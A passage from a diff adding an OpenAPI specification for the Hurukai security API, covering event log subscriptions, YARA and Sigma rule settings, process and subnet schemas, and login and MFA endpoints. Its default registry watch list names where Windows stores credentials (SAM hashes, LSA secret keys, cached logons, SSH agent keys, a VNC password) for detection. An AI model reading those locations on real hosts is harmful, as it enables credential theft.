+            : excluded: []
+              included: []
+            Security|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            Security|Microsoft-Windows-Security-Auditing:
+              excluded: []
+              included:
+                - 4608
+                - 4609
+                - 4610
+                - 4611
+                - 4612
+                - 4614
+                - 4615
+                - 4616
+                - 4618
+                - 4621
+                - 4622
+                - 4624
+                - 4625
+                - 4634
+                - 4647
+                - 4648
+                - 4649
+                - 4697
+                - 4698
+                - 4699
+                - 4700
+                - 4701
+                - 4702
+                - 4703
+                - 4704
+                - 4705
+                - 4706
+                - 4707
+                - 4713
+                - 4716
+                - 4717
+                - 4718
+                - 4719
+                - 4720
+                - 4722
+                - 4723
+                - 4724
+                - 4725
+                - 4726
+                - 4727
+                - 4728
+                - 4729
+                - 4730
+                - 4731
+                - 4732
+                - 4733
+                - 4734
+                - 4735
+                - 4737
+                - 4738
+                - 4739
+                - 4740
+                - 4741
+                - 4742
+                - 4743
+                - 4744
+                - 4745
+                - 4746
+                - 4747
+                - 4748
+                - 4749
+                - 4750
+                - 4751
+                - 4752
+                - 4753
+                - 4754
+                - 4755
+                - 4756
+                - 4757
+                - 4758
+                - 4759
+                - 4760
+                - 4761
+                - 4762
+                - 4764
+                - 4765
+                - 4766
+                - 4767
+                - 4768
+                - 4769
+                - 4770
+                - 4771
+                - 4772
+                - 4773
+                - 4774
+                - 4776
+                - 4777
+                - 4778
+                - 4779
+                - 4781
+                - 4793
+                - 4797
+                - 4798
+                - 4799
+                - 4800
+                - 4801
+                - 4802
+                - 4803
+                - 4820
+                - 4821
+                - 4822
+                - 4823
+                - 4824
+                - 4825
+                - 4826
+                - 4865
+                - 4866
+                - 4867
+                - 4870
+                - 4886
+                - 4887
+                - 4888
+                - 4893
+                - 4898
+                - 4902
+                - 4904
+                - 4905
+                - 4907
+                - 4931
+                - 4932
+                - 4933
+                - 4946
+                - 4948
+                - 4956
+                - 4964
+                - 4985
+                - 5024
+                - 5025
+                - 5029
+                - 5030
+                - 5033
+                - 5034
+                - 5035
+                - 5037
+                - 5059
+                - 5136
+                - 5137
+                - 5138
+                - 5139
+                - 5140
+                - 5145
+                - 6144
+                - 6145
+                - 6272
+                - 6273
+                - 6278
+                - 6416
+                - 6423
+                - 6424
+            System|Microsoft Antimalware:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Bits-Client:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Directory-Services-SAM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-DistributedCOM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-GroupPolicy:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-General:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-Power:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-TaskScheduler:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WER-SystemErrorReporting:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WindowsUpdateClient:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Wininit:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            System|Service Control Manager:
+              excluded: []
+              included: []
+            System|User32:
+              excluded: []
+              included: []
+            Windows Powershell|PowerShell:
+              excluded: []
+              included: []
+        description: |-
+          Holds the dynamic subscription configuration for eventlogs.
+          Stores which event ids to subscribe, for each event log channel.
+        properties:
+          detection_events:
+            additionalProperties:
+              items:
+                description: Lists of event ids to include and exclude for a given channel.
+                properties:
+                  excluded:
+                    description: A list of event ids to exclude.
+                    items:
+                      type: integer
+                    type: array
+                  included:
+                    description: |-
+                      A list of event ids to include.
+                      An empty list should be considered a None, which will automatically subscribe to all events ids of the associated channel.
+                    items:
+                      type: integer
+                    type: array
+                type: object
+              type: array
+            description: |-
+              Event log channels and ids to subscribe for detection only.
+              Events generated that match this configuration, will be sent to the detection engines.
+            type: object
+          telemetry_events:
+            additionalProperties:
+              items:
+                description: Lists of event ids to include and exclude for a given channel.
+                properties:
+                  excluded:
+                    description: A list of event ids to exclude.
+                    items:
+                      type: integer
+                    type: array
+                  included:
+                    description: |-
+                      A list of event ids to include.
+                      An empty list should be considered a None, which will automatically subscribe to all events ids of the associated channel.
+                    items:
+                      type: integer
+                    type: array
+                type: object
+              type: array
+            description: |-
+              Event log channels and ids to subscribe for.
+              Events generated that match this configuration will be sent to the backend if the event log telemetry is enabled.
+            type: object
+        required:
+          - detection_events
+          - telemetry_events
+        title: Windows Eventlog Config
+        type: object
+      windows_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Windows exclusions
+        type: integer
+      windows_read_watched_paths:
+        default:
+          - '*\PROGRAM FILES*'
+          - '*\PROGRAMDATA\*'
+          - '*\USERS\*'
+          - '*\WINDOWS\SYSTEM32\DRIVERS\ETC\*'
+          - '*\WINDOWS\SYSTEM32\TASKS\*'
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_registry_read_blacklist:
+        default: []
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_registry_read_whitelist:
+        default:
+          - HKLM\SAM\SAM\DOMAINS\ACCOUNT\USERS\*\*
+          - HKLM\SECURITY\CACHE\*
+          - HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\*
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\DATA
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\GBG
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\JD
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\SKEW1
+          - HKLM\SYSTEM\CONTROLSET???\SERVICES\SYSMONDRV\PARAMETERS\*
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\DATA
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\GBG
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\JD
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\SKEW1
+          - HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\CERTSVC\CONFIGURATION\*\POLICYMODULES\CERTIFICATEAUTHORITY_MICROSOFTDEFAULT.POLICY\EDITFLAGS
+          - HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\SYSMONDRV\PARAMETERS\*
+          - HKU\*\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\AAD\STORAGE\*
+          - HKU\*\SOFTWARE\OPENSSH\AGENT\KEYS\*
+          - HKU\*\SOFTWARE\ORL\WINVNC3\PASSWORD\*
+          - HKU\*\SOFTWARE\SIMONTATHAM\*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_self_protection:
+        title: Windows self protection
+        type: boolean
+      windows_self_protection_feature_firewall:
+        title: Windows self protection feature firewall
+        type: boolean
+      windows_self_protection_feature_hosts:
+        title: Windows self protection feature hosts
+        type: boolean
+      windows_self_protection_feature_safe_mode:
+        title: Windows self protection feature safe mode
+        type: boolean
+      windows_write_watched_paths:
+        default:
+          - '*\PROGRAM FILES*'
+          - '*\PROGRAMDATA\*'
+          - '*\USERS\*'
+          - '*\WINDOWS\SYSTEM32\DRIVERS\ETC\*'
+          - '*\WINDOWS\SYSTEM32\TASKS\*'
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      yara_mode:
+        maximum: 3
+        minimum: 0
+        title: Yara mode
+        type: integer
+      yara_ruleset:
+        format: uuid
+        title: Yara ruleset
+        type: string
+        x-nullable: true
+      yara_scan_libraries_load:
+        title: Yara scan libraries load
+        type: boolean
+      yara_scan_written_executable:
+        title: Yara scan written executable
+        type: boolean
+      yara_scan_written_files:
+        title: Yara scan written files
+        type: boolean
+      yara_skip_signed_ms:
+        title: Yara skip signed ms
+        type: boolean
+      yara_skip_signed_others:
+        title: Yara skip signed others
+        type: boolean
+    required:
+      - name
+      - updated_fields
+    type: object
+  _ProcessListResponse:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      _hasChildren:
+        title: haschildren
+        type: boolean
+      _path:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      _space:
+        minLength: 1
+        title: space
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      cmdline:
+        minLength: 1
+        title: Cmdline
+        type: string
+      connections:
+        $ref: '#/definitions/Connection'
+      cpu_percent:
+        title: Cpu percent
+        type: number
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      critical:
+        title: Critical
+        type: boolean
+      exe:
+        minLength: 1
+        title: Exe
+        type: string
+      fd:
+        $ref: '#/definitions/FileDescriptor'
+      handles:
+        $ref: '#/definitions/Handle'
+      hashes_requested:
+        title: Hashes requested
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      integrity_level:
+        minLength: 1
+        title: Integrity level
+        type: string
+      iskernel:
+        title: Iskernel
+        type: boolean
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      maybe_hollow:
+        title: Maybe hollow
+        type: boolean
+      mem_private_bytes:
+        title: Mem private bytes
+        type: integer
+      mem_working_set:
+        title: Mem working set
+        type: integer
+      modules:
+        $ref: '#/definitions/Module'
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      ppid:
+        title: Ppid
+        type: integer
+      process_bits:
+        title: Process bits
+        type: integer
+      session:
+        title: Session
+        type: integer
+      signature_requested:
+        title: Signature requested
+        type: boolean
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      suspicious:
+        title: Suspicious
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      threads:
+        $ref: '#/definitions/Thread'
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - _path
+      - _space
+      - agent
+      - binaryinfo
+      - cmdline
+      - connections
+      - cpu_percent
+      - create_time
+      - critical
+      - exe
+      - fd
+      - handles
+      - hashes_requested
+      - id
+      - integrity_level
+      - iskernel
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - maybe_hollow
+      - mem_private_bytes
+      - mem_working_set
+      - modules
+      - name
+      - pid
+      - ppid
+      - process_bits
+      - session
+      - signature_requested
+      - status
+      - suspicious
+      - tenant
+      - threads
+      - username
+    type: object
+  _ResponseBackupCodes:
+    properties:
+      backup_codes:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - backup_codes
+    type: object
+  _RevisionByEngine:
+    properties:
+      correlation_revision:
+        title: Correlation revision
+        type: integer
+      driver_blocklists_revision:
+        title: Driver blocklists revision
+        type: integer
+      ioc_revision:
+        title: Ioc revision
+        type: integer
+      sigma_revision:
+        title: Sigma revision
+        type: integer
+      usb_device_control_revision:
+        title: Usb device control revision
+        type: integer
+      whitelist_revision:
+        title: Whitelist revision
+        type: integer
+      yara_revision:
+        title: Yara revision
+        type: integer
+    required:
+      - correlation_revision
+      - driver_blocklists_revision
+      - ioc_revision
+      - sigma_revision
+      - usb_device_control_revision
+      - whitelist_revision
+      - yara_revision
+    type: object
+  _Revisions:
+    properties:
+      alerter_revisions:
+        $ref: '#/definitions/_AlerterRevision'
+    required:
+      - alerter_revisions
+    type: object
+  _RuleBulkUpdate:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+    type: object
+  _RulesetAll:
+    properties:
+      count:
+        minimum: 0
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/RulesetLight'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _SearchBinary:
+    properties:
+      binaryinfoSha256:
+        minLength: 1
+        title: Binaryinfosha256
+        type: string
+      download_status:
+        readOnly: true
+        title: Download status
+        type: string
+      fullpaths:
+        minLength: 1
+        title: Fullpaths
+        type: string
+    required:
+      - binaryinfoSha256
+      - fullpaths
+    type: object
+  _SearchPersistence:
+    properties:
+      count:
+        title: Count
+        type: integer
+      types:
+        additionalProperties:
+          $ref: '#/definitions/SearchBinaryPersistence'
+        title: Types
+        type: object
+    required:
+      - count
+      - types
+    type: object
+  _SigmaPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/SigmaRule'
+        type: array
+      source:
+        $ref: '#/definitions/SigmaSource'
+    required:
+      - count
+      - results
+    type: object
+  _SigmaRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/SigmaRulesetRule'
+        type: array
+      source:
+        $ref: '#/definitions/SigmaSource'
+    required:
+      - count
+      - results
+    type: object
+  _SigmaRulesetResponse:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        title: Set default
+        type: boolean
+      source:
+        $ref: '#/definitions/SigmaRulesetSource'
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - rule_ids
+      - set_default
+      - source
+      - state
+    type: object
+  _SigmaSourceRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/SigmaRulesetSource'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _Status:
+    properties:
+      elasticsearch:
+        title: Elasticsearch
+        type: boolean
+      global:
+        title: Global
+        type: boolean
+      postgresql:
+        title: Postgresql
+        type: boolean
+      redis:
+        title: Redis
+        type: boolean
+    required:
+      - elasticsearch
+      - global
+      - postgresql
+      - redis
+    type: object
+  _SubnetDiscoveredBy:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        title: Name
+        type: string
+    required:
+      - id
+    type: object
+    x-nullable: true
+  _SubnetHistoryChart:
+    properties:
+      counts:
+        items:
+          $ref: '#/definitions/_KpiCount'
+        readOnly: true
+        type: array
+      date:
+        format: date-time
+        readOnly: true
+        title: Date
+        type: string
+      job_instance_id:
+        minLength: 1
+        readOnly: true
+        title: Job instance id
+        type: string
+    type: object
+  _SubnetScanHistory:
+    properties:
+      job_instance:
+        $ref: '#/definitions/JobInstance'
+      kpis:
+        $ref: '#/definitions/KPI'
+      scan_date:
+        format: date-time
+        readOnly: true
+        title: Scan date
+        type: string
+      scanning_agent:
+        $ref: '#/definitions/_LightAgent'
+    type: object
+  _TelemetryConfigItem:
+    properties:
+      allowed_values:
+        items:
+          enum:
+            - disabled
+            - live
+            - on_alert
+          type: string
+        type: array
+      os_types:
+        items:
+          enum:
+            - kubernetes
+            - linux
+            - macos
+            - unknown
+            - windows
+          type: string
+        type: array
+    required:
+      - allowed_values
+      - os_types
+    type: object
+  _Tenant:
+    properties:
+      base_domain:
+        minLength: 1
+        title: Base domain
+        type: string
+        x-nullable: true
+      base_port:
+        minLength: 1
+        title: Base port
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+        x-nullable: true
+      is_supervisor:
+        title: Is supervisor
+        type: boolean
+      is_tenant:
+        title: Is tenant
+        type: boolean
+      supervisor_stack_id:
+        minLength: 1
+        title: Supervisor stack id
+        type: string
+        x-nullable: true
+      tenants:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Tenants
+        type: object
+    required:
+      - base_domain
+      - base_port
+      - id
+      - is_supervisor
+      - is_tenant
+      - supervisor_stack_id
+      - tenants
+    type: object
+  _ThreadsList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/Thread'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _UUID:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+        x-nullable: true
+    required:
+      - id
+    type: object
+  _UpdateChar:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - id
+    type: object
+  _Updates:
+    properties:
+      new_group_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      policy_id:
+        minLength: 1
+        title: Policy id
+        type: string
+    required:
+      - new_group_ids
+      - policy_id
+    type: object
+  _UpgradeStatus:
+    properties:
+      chunk_total:
+        title: Chunk total
+        type: integer
+        x-nullable: true
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+        x-nullable: true
+      last_chunk_uploaded:
+        title: Last chunk uploaded
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+        x-nullable: true
+      os:
+        enum:
+          - empty
+          - failure
+          - pending
+          - processing
+          - success
+        title: Os
+        type: string
+      product:
+        enum:
+          - empty
+          - failure
+          - pending
+          - processing
+          - success
+        title: Product
+        type: string
+      status:
+        enum:
+          - cancelled
+          - empty
+          - failure
+          - merging_image
+          - pending
+          - processing_os
+          - processing_product
+          - success
+          - uploading
+        title: Status
+        type: string
+    required:
+      - filename
+      - os
+      - product
+      - status
+    type: object
+  _UploadStatus:
+    properties:
+      code:
+        enum:
+          - duplicate_rule
+          - invalid_sigma_content
+          - parse_error_yaml
+        title: Code
+        type: string
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      is_overwritten:
+        default: false
+        title: Is overwritten
+        type: boolean
+      status:
+        default: false
+        title: Status
+        type: boolean
+    type: object
+  _UploadStatusSerialier:
+    properties:
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      status:
+        title: Status
+        type: boolean
+    required:
+      - filename
+      - msg
+      - status
+    type: object
+  _UploadYamlRole:
+    properties:
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      status:
+        title: Status
+        type: boolean
+    required:
+      - filename
+      - msg
+      - status
+    type: object
+  _UserID:
+    properties:
+      user_ids:
+        items:
+          type: integer
+        type: array
+    type: object
+  _Version:
+    properties:
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - version
+    type: object
+  _VulnerabilityPolicyCopyResponse:
+    properties:
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+    required:
+      - details
+      - new_id
+      - new_name
+    type: object
+  _VulnerabilityPolicyInUseResponse:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/AgentPolicyIdAndName'
+        type: array
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - agent_policies
+      - details
+    type: object
+  _WhitelistHistoryListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/WhitelistRuleHistoryRecord'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _YARARulesetResponse:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        title: Set default
+        type: boolean
+      source:
+        $ref: '#/definitions/YaraRulesetSource'
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - rule_ids
+      - set_default
+      - source
+      - state
+    type: object
+  _YaraPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/YaraFile'
+        type: array
+      source:
+        $ref: '#/definitions/YaraSource'
+    required:
+      - count
+      - results
+    type: object
+  _YaraRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/YaraRulesetRule'
+        type: array
+      source:
+        $ref: '#/definitions/YaraSource'
+    required:
+      - count
+      - results
+    type: object
+  _YaraSourceRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/YaraRulesetSource'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  __DataAgentSerializer:
+    properties:
+      agentid:
+        minLength: 1
+        title: Agentid
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - agentid
+      - hostname
+    type: object
+  __SubnetDetailsSerializer:
+    properties:
+      auto_scan:
+        title: Auto scan
+        type: boolean
+      blacklisted:
+        readOnly: true
+        title: Blacklisted
+        type: boolean
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      exclusions:
+        items:
+          $ref: '#/definitions/SubnetExclusion'
+        readOnly: true
+        type: array
+      existing_agent_count:
+        readOnly: true
+        title: Existing agent count
+        type: integer
+        x-nullable: true
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      gateway_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway ipaddress
+        type: string
+        x-nullable: true
+      gateway_macaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway macaddress
+        type: string
+        x-nullable: true
+      gateway_oui:
+        minLength: 1
+        title: Gateway oui
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      inclusions:
+        items:
+          $ref: '#/definitions/SubnetInclusion'
+        readOnly: true
+        type: array
+      is_scannable:
+        readOnly: true
+        title: Is scannable
+        type: boolean
+      last_scan:
+        $ref: '#/definitions/LastScan'
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      last_successful_scan:
+        $ref: '#/definitions/LastScan'
+      missing_agent_count:
+        readOnly: true
+        title: Missing agent count
+        type: integer
+        x-nullable: true
+      name:
+        title: Name
+        type: string
+        x-nullable: true
+      randomized_mac_address_count:
+        readOnly: true
+        title: Randomized mac address count
+        type: integer
+        x-nullable: true
+      total_agent_count:
+        readOnly: true
+        title: Total agent count
+        type: integer
+      whitelisted:
+        readOnly: true
+        title: Whitelisted
+        type: boolean
+    type: object
+  __SubnetSerializer:
+    properties:
+      auto_scan:
+        title: Auto scan
+        type: boolean
+      blacklisted:
+        readOnly: true
+        title: Blacklisted
+        type: boolean
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      existing_agent_count:
+        readOnly: true
+        title: Existing agent count
+        type: integer
+        x-nullable: true
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      gateway_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway ipaddress
+        type: string
+        x-nullable: true
+      gateway_macaddress:
+        minLength: 1
+        readOnly: true
+        title: Gateway macaddress
+        type: string
+        x-nullable: true
+      gateway_oui:
+        minLength: 1
+        title: Gateway oui
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_scannable:
+        readOnly: true
+        title: Is scannable
+        type: boolean
+      last_scan:
+        $ref: '#/definitions/LastScan'
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      last_successful_scan:
+        $ref: '#/definitions/LastScan'
+      missing_agent_count:
+        readOnly: true
+        title: Missing agent count
+        type: integer
+        x-nullable: true
+      name:
+        title: Name
+        type: string
+        x-nullable: true
+      randomized_mac_address_count:
+        readOnly: true
+        title: Randomized mac address count
+        type: integer
+        x-nullable: true
+      total_agent_count:
+        readOnly: true
+        title: Total agent count
+        type: integer
+      whitelisted:
+        readOnly: true
+        title: Whitelisted
+        type: boolean
+    type: object
+info:
+  description: Hurukai API
+  title: Hurukai
+  version: 5.5.46
+paths:
+  /alerter_revisions/:
+    get:
+      description: ""
+      operationId: alerter_revisions_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Revisions'
+      tags:
+        - alerter_revisions
+    parameters: []
+  /auth/code/request/:
+    parameters: []
+    post:
+      description: ""
+      operationId: auth_code_request_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFAMethodCode'
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              qr_link:
+                description: QR code for Google authenticator
+                type: string
+            type: object
+      tags:
+        - authentication
+  /auth/login/:
+    parameters: []
+    post:
+      description: ""
+      operationId: auth_login_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_Login'
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              auth_token:
+                description: string
+                type: string
+              ephemeral_token:
+                description: only if mfa
+                type: string
+              method:
+                description: only if mfa
+                type: string
+              other_methods:
+                description: only if mfa
+                items:
+                  description: string
+                  type: string
+                type: array
+            type: object
+        "400":
+          description: ""
+          schema:
+            properties:
+              code:
+                type: string
+              error:
+                type: string
+              remaining_attempts:
+                type: integer
+            type: object
+        "403":
+          description: ""
+          schema:
+            properties:
+              ban_end:
+                type: string
+              code:
+                type: integer
+              detail:
+                type: string
+            type: object
+      tags:
+        - authentication
+  /auth/login/code/:
+    parameters: []
+    post:
+      description: ""
+      operationId: auth_login_code_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CodeLogin'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Token'
+      tags:
+        - authentication
+  /auth/logout/:
+    parameters: []
+    post:
+      description: Use this endpoint to logout user (remove user authentication token).
+      operationId: auth_logout_create
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - authentication
+  /auth/mfa/change-primary-method/:
+    parameters: []
+    post:
+      description: ""
+      operationId: auth_mfa_change-primary-method_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ChangePrimaryMethodValidator'
+      responses:
+        "204":
+          description: ""
+      tags:
+        - authentication
+  /auth/mfa/config/:
+    get:
+      description: ""
+      operationId: auth_mfa_config_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - authentication
+    parameters: []
+  /auth/mfa/user-active-methods/:
+    get:
+      description: ""
+      operationId: auth_mfa_user-active-methods_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UserMFAMethod'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - authentication
+    parameters: []
+  /auth/{method}/activate/:
+    parameters:
+      - in: path
+        name: method
+        required: true
+        type: string
+    post:
+      description: |-
+        View handling new MFA method activation requests.
+        If validation passes, new MFAMethod (inactive) object
+        is created.
+      operationId: auth_activate_create
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              qr_link:
+                description: QR code for Google authenticator
+                type: string
+            type: object
+      tags:
+        - authentication
+  /auth/{method}/activate/confirm/:
+    parameters:
+      - in: path
+        name: method
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: auth_activate_confirm_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFAMethodActivationConfirmationValidator'
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              backup_codes:
+                description: List of backup codes
+                items:
+                  type: string
